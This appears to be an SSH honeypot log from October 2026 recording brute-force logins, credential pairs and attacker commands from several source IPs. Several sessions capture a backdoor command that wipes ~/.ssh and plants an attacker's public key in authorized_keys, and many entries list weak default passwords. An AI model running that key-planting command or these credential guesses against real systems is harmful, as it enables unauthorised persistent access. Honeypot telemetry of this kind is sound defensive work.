Adversarial Observation Interface

109.160.32.112

2026-10-01 12:35:46.154018 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / oracle123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 201675a35e9f

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "201675a35e9f",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:46.154018Z",
  "end_time": "2026-10-01T12:35:47.528090Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "oracle123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

195.178.191.5

2026-10-01 12:35:40.947005 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f89ce0b07bae

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f89ce0b07bae",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:35:40.947005Z",
  "end_time": "2026-10-01T12:35:42.016126Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

195.178.191.5

2026-10-01 12:35:38.764915 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: e671daa28e32

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e671daa28e32",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:35:38.764915Z",
  "end_time": "2026-10-01T12:35:40.786651Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.134.49.202

2026-10-01 12:35:38.737861 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: 4cf36a6169f4

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4cf36a6169f4",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-01T12:35:38.737861Z",
  "end_time": "2026-10-01T12:35:40.871550Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "user1",
      "pass": "test1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:35:38.287660 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: test / test

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 8926cf5b5e16

Client Version: SSH-2.0-Go

Engagement Duration: 4.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8926cf5b5e16",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:38.287660Z",
  "end_time": "2026-10-01T12:35:42.508511Z",
  "duration": "4.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "test"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

195.178.191.5

2026-10-01 12:35:36.622591 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Secret123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 249de9779d55

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "249de9779d55",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:35:36.622591Z",
  "end_time": "2026-10-01T12:35:42.014296Z",
  "duration": "5.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Secret123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:35:31.439921 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trader

Record ID: 3bab9bcb2b84

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3bab9bcb2b84",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:31.439921Z",
  "end_time": "2026-10-01T12:35:34.075440Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "trader",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:35:24.020452 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: agent

Record ID: 0e2ff17f71cb

Client Version: SSH-2.0-Go

Engagement Duration: 4.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0e2ff17f71cb",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:24.020452Z",
  "end_time": "2026-10-01T12:35:28.000813Z",
  "duration": "4.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "agent",
      "pass": "agent"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:35:16.893675 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / ZAQ!2wsx

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: b7de1054227e

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b7de1054227e",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:16.893675Z",
  "end_time": "2026-10-01T12:35:19.179114Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ZAQ!2wsx"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:35:09.707970 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bundle

Record ID: b3a70db4b38e

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b3a70db4b38e",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:09.707970Z",
  "end_time": "2026-10-01T12:35:12.150288Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "bundle",
      "pass": "bundle"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:35:02.465961 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: myuser

Record ID: be8744ddad83

Client Version: SSH-2.0-Go

Engagement Duration: 3.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "be8744ddad83",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:35:02.465961Z",
  "end_time": "2026-10-01T12:35:05.756289Z",
  "duration": "3.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "myuser",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:34:55.460277 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / Ubuntu1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e39361aed45f

Client Version: SSH-2.0-Go

Engagement Duration: 4.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e39361aed45f",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:55.460277Z",
  "end_time": "2026-10-01T12:35:00.211716Z",
  "duration": "4.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "Ubuntu1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:34:49.173478 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev

Record ID: 7aedcc229708

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7aedcc229708",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:49.173478Z",
  "end_time": "2026-10-01T12:34:51.469688Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dev",
      "pass": "passw0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

191.96.196.91

2026-10-01 12:34:44.031308 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qqq

Record ID: f6f2fc3b24a0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f6f2fc3b24a0",
  "src_ip": "191.96.196.91",
  "start_time": "2026-10-01T12:34:44.031308Z",
  "end_time": "2026-10-01T12:34:45.508048Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "qqq",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:34:41.785341 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webadmin

Record ID: 7771cd6b25da

Client Version: SSH-2.0-Go

Engagement Duration: 3.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7771cd6b25da",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:41.785341Z",
  "end_time": "2026-10-01T12:34:45.536559Z",
  "duration": "3.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "webadmin",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:34:34.842663 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / qwer1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 2f0f87ae123f

Client Version: SSH-2.0-Go

Engagement Duration: 3.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2f0f87ae123f",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:34.842663Z",
  "end_time": "2026-10-01T12:34:38.536396Z",
  "duration": "3.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwer1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:34:27.602388 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: fcd0349a685a

Client Version: SSH-2.0-Go

Engagement Duration: 3.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "fcd0349a685a",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:27.602388Z",
  "end_time": "2026-10-01T12:34:31.437737Z",
  "duration": "3.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "admin"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

195.178.191.5

2026-10-01 12:34:24.285619 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: ee529c55d221

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ee529c55d221",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:34:24.285619Z",
  "end_time": "2026-10-01T12:34:25.314808Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.49.239.24

2026-10-01 12:34:23.573258 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f11fe4dba71b

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "f11fe4dba71b",
  "src_ip": "2.49.239.24",
  "start_time": "2026-10-01T12:34:23.573258Z",
  "end_time": "2026-10-01T12:34:23.576279Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

195.178.191.5

2026-10-01 12:34:22.103194 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5fd0ba1ccadc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5fd0ba1ccadc",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:34:22.103194Z",
  "end_time": "2026-10-01T12:34:24.127082Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:34:20.226951 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: iphone

Record ID: 3fc9865f6777

Client Version: SSH-2.0-Go

Engagement Duration: 4.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3fc9865f6777",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:20.226951Z",
  "end_time": "2026-10-01T12:34:24.207055Z",
  "duration": "4.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "iphone",
      "pass": "iphone"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

195.178.191.5

2026-10-01 12:34:19.963149 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / qwe

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d337065d98a0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d337065d98a0",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:34:19.963149Z",
  "end_time": "2026-10-01T12:34:25.310643Z",
  "duration": "5.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwe"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:34:13.439984 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dani

Record ID: 3956f358206f

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3956f358206f",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:13.439984Z",
  "end_time": "2026-10-01T12:34:15.867443Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dani",
      "pass": "dani"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.134.49.202

2026-10-01 12:34:13.398909 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 04a9681ad2fa

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "04a9681ad2fa",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-01T12:34:13.398909Z",
  "end_time": "2026-10-01T12:34:14.528928Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

43.134.49.202

2026-10-01 12:34:11.076842 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 69f96a2c0789

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "69f96a2c0789",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-01T12:34:11.076842Z",
  "end_time": "2026-10-01T12:34:13.224267Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.134.49.202

2026-10-01 12:34:08.699175 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Pass@w0rd

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

